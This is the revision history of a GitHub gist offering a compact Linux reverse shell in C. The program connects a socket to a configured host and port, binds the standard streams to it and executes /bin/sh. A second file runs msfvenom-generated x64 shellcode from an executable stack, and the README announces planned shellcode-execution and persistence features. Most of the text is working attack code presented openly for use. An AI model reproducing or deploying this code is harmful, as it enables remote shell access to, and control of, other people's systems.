Forked from loneicewolf/compact_linux_reverse_shell.c
Created
December 3, 2022 20:58
-
-
Save CerebralMischief/c564cd02fdb79b83674bcfee81c1c4de to your computer and use it in GitHub Desktop.
Revisions
-
loneicewolf revised this gist
Aug 9, 2022 . 2 changed files with 1 addition and 4 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,6 +1,5 @@ // some opts not abs. nec. but including for future ref. keeping. // gcc lin_1.c -o L1 -fno-stack-protector -z execstack -no-pie -g // msfvenom -p linux/x64/exec cmd="echo ABC \&\& echo XYZ" -f c -v sh_1 // [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload // [-] No arch selected, selecting arch: x64 from the payload @@ -13,10 +12,8 @@ // "\x6f\x20\x41\x42\x43\x20\x26\x26\x20\x65\x63\x68\x6f\x20\x58" // "\x59\x5a\x00\x56\x57\x54\x5e\x6a\x3b\x58\x0f\x05"; // // #include <stdio.h> #include <unistd.h> int main(){ unsigned char sh_1[] = "\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52" This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1 +1 @@ coming soon own encoder -
loneicewolf revised this gist
Jul 17, 2022 . 1 changed file with 1 addition and 0 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1 @@ coming soon own encoder -
loneicewolf revised this gist
Jul 16, 2022 . 2 changed files with 5 additions and 6 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,9 +1,7 @@ // gcc -g -o L1 lin_1.c #include <arpa/inet.h> #include <stdio.h> #include <unistd.h> #define RP 1234 #define RH "127.0.0.1" #define BIN "/bin/sh" @@ -17,4 +15,4 @@ connect( is,(struct sockaddr *) &s1,sizeof(s1)); for(int i=0;i<3;dup2(is,i),i++); char * const argv[] = {BIN,NULL}; execve(BIN, argv, NULL); return 0;} This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,5 +1,6 @@ // some opts not abs. nec. but including for future ref. keeping. // gcc lin_1.c -o L1 -fno-stack-protector -z execstack -no-pie -g // msfvenom -p linux/x64/exec cmd="echo ABC \&\& echo XYZ" -f c -v sh_1 // [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload // [-] No arch selected, selecting arch: x64 from the payload -
loneicewolf revised this gist
Jul 13, 2022 . 2 changed files with 30 additions and 0 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,3 +1,5 @@ // gcc -o L1 lin_1.c #include <arpa/inet.h> #include <stdio.h> #include <unistd.h> This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,28 @@ // gcc lin_1.c -o L1 -fno-stack-protector -z execstack -no-pie -g // // // msfvenom -p linux/x64/exec cmd="echo ABC \&\& echo XYZ" -f c -v sh_1 // [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload // [-] No arch selected, selecting arch: x64 from the payload // No encoder specified, outputting raw payload // Payload size: 57 bytes // Final size of c file: 265 bytes // unsigned char sh_1[] = // "\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52" // "\x66\x68\x2d\x63\x54\x5e\x52\xe8\x15\x00\x00\x00\x65\x63\x68" // "\x6f\x20\x41\x42\x43\x20\x26\x26\x20\x65\x63\x68\x6f\x20\x58" // "\x59\x5a\x00\x56\x57\x54\x5e\x6a\x3b\x58\x0f\x05"; // // #include <stdio.h> #include <unistd.h> int main(){ unsigned char sh_1[] = "\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52" "\x66\x68\x2d\x63\x54\x5e\x52\xe8\x15\x00\x00\x00\x65\x63\x68" "\x6f\x20\x41\x42\x43\x20\x26\x26\x20\x65\x63\x68\x6f\x20\x58" "\x59\x5a\x00\x56\x57\x54\x5e\x6a\x3b\x58\x0f\x05"; // (*(void(*)())XXX)(); (*(void(*)())sh_1)(); return 0; } -
loneicewolf revised this gist
Jul 13, 2022 . 1 changed file with 0 additions and 3 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,6 +1,3 @@ #include <arpa/inet.h> #include <stdio.h> #include <unistd.h> -
loneicewolf revised this gist
Jul 12, 2022 . 1 changed file with 4 additions and 3 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,8 +1,10 @@ // MODIFIED A BIT; check for github latest version please! // might be errors! #include <arpa/inet.h> #include <stdio.h> #include <unistd.h> #define RP 1234 #define RH "127.0.0.1" #define BIN "/bin/sh" @@ -17,4 +19,3 @@ for(int i=0;i<3;dup2(is,i),i++); char * const argv[] = {BIN,NULL}; execve(BIN, argv, NULL); return 0;} -
loneicewolf renamed this gist
Jul 12, 2022 . 1 changed file with 0 additions and 0 deletions.There are no files selected for viewing
File renamed without changes. -
loneicewolf revised this gist
Jul 12, 2022 . 1 changed file with 0 additions and 13 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,17 +1,4 @@ ``` #include <stdio.h> #include <unistd.h> -
loneicewolf revised this gist
Jul 12, 2022 . 2 changed files with 33 additions and 17 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,33 @@ # compact_linux_reverse_shell A compact linux reverse shell written in the C programming language. `note I haven't bothered yet to implement this in windows; if someone wants that open a issue(no need to pull) and tell me that; or request it via discord; and it should get done in a few days` obviously you can do a pull if thats what you want :) ### upcoming changes: - adding shellcode execution (with a short & neat guide how to get shellcode without using radare2 or the classical ghidra or metasploit utils) - persistence mechanism https://gist.github.com/loneicewolf/8232aad5722e1e7de9d92932b5a01597 ``` #include <stdio.h> #include <unistd.h> #include <arpa/inet.h> #define RP 1234 #define RH "127.0.0.1" #define BIN "/bin/sh" int main(){ int is = 0;is = socket(AF_INET,SOCK_STREAM,0); struct sockaddr_in s1; s1.sin_family = AF_INET; s1.sin_port = htons(RP); s1.sin_addr.s_addr = inet_addr(RH); connect( is,(struct sockaddr *) &s1,sizeof(s1)); for(int i=0;i<3;dup2(is,i),i++); char * const argv[] = {BIN,NULL}; execve(BIN, argv, NULL); return 0;} ``` This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,17 +0,0 @@ -
loneicewolf created this gist
Jan 10, 2022 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,17 @@ #include <stdio.h> #include <unistd.h> #include <arpa/inet.h> #define RP 1234 #define RH "127.0.0.1" #define BIN "/bin/sh" int main(){ int is = 0;is = socket(AF_INET,SOCK_STREAM,0); struct sockaddr_in s1; s1.sin_family = AF_INET; s1.sin_port = htons(RP); s1.sin_addr.s_addr = inet_addr(RH); connect( is,(struct sockaddr *) &s1,sizeof(s1)); for(int i=0;i<3;dup2(is,i),i++); char * const argv[] = {BIN,NULL}; execve(BIN, argv, NULL); return 0;}